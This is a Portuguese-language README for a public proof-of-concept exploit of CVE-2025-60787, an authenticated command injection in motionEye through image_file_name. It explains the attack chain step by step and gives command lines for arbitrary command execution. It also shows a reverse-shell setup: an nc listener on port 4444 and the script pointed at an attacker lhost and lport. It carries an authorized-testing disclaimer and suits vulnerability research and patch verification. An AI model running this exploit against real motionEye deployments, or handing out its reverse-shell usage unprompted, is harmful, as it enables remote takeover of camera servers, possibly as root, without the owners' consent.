CVE-2025-60787 — motionEye RCE autenticado

PoC de injeção de comandos autenticada para CVE-2025-60787. motionEye v0.43.1b4 e versões anteriores gravam valores de configuração de câmera controlados pelo usuário, como image_file_name, na configuração do Motion sem sanitização suficiente, permitindo a execução de comandos quando o valor é processado.

Apenas para testes autorizados e pesquisa. Não use contra sistemas que você não possua ou para os quais não tenha permissão explícita para testar.

O que faz

Requisição de API assinada -> atualização da configuração da câmera -> injeção em image_file_name -> acionamento de snapshot -> execução de comando

1. Valida o alvo e detecta o motionEye.
2. Gera requisições de API do motionEye assinadas usando o nome de usuário e o hash de senha configurados.
3. Lê a configuração da câmera por meio de /config/list/.
4. Injeta um comando na configuração image_file_name da câmera.
5. Ativa imagens estáticas/snapshots manuais quando necessário.
6. Aciona /action/<camera_id>/snapshot/ para que o motionEye processe o nome de arquivo injetado.
7. Opcionalmente, restaura a configuração original da câmera.

Capturas de tela

Configuração de reverse shell

Injeção de configuração e acionamento

Shell recebido

Configuração

git clone https://github.com/ozcanpng/CVE-2025-60787.git
cd CVE-2025-60787
pip install -r requirements.txt

Uso

Prova segura de comando

python3 CVE-2025-60787.py \
  --target http://127.0.0.1:8765 \
  --user admin \
  --password-hash HASH \
  --cmd 'id > /tmp/motioneye_rce'

Reverse shell

Inicie um listener primeiro:

rlwrap nc -lvnp 4444

Depois execute:

python3 CVE-2025-60787.py \
  --target http://127.0.0.1:8765 \
  --port 8765 \
  --user admin \
  --password-hash HASH \
  --reverse-shell \
  --lhost 10.10.16.53 \
  --lport 4444

Opções úteis:

--camera-id N      ID da câmera a modificar (padrão: 1)
--restore          Restaura a configuração original da câmera após o acionamento
--dry-run          Constrói requisições assinadas sem modificar o alvo
--debug            Exibe caminhos assinados canônicos, corpos e assinaturas
--no-trigger       Atualiza a configuração sem acionar um snapshot
--verify-tls       Verifica certificados HTTPS
--yes              Pula o aviso de confirmação do reverse shell

Afetados

O privilégio resultante depende de como o motionEye é implantado. Em contêineres ou imagens de laboratório que executam o serviço como root, a execução de comandos pode ocorrer como root.

Notas

• O PoC espera o valor/hash de senha armazenado do motionEye porque esse valor é usado como chave de assinatura para requisições de API legadas.
• O campo injetado é image_file_name.
• Use --restore durante os testes para colocar a configuração original da câmera de volta após a exploração.
• Prefira --cmd para validação segura antes de tentar um reverse shell.

Referências

• NVD — CVE-2025-60787
• GitHub Security Advisory — GHSA-j945-qm58-4gjx
• Projeto motionEye

Autor

ozcanpng — github.com/ozcanpng — ozcanpng.dev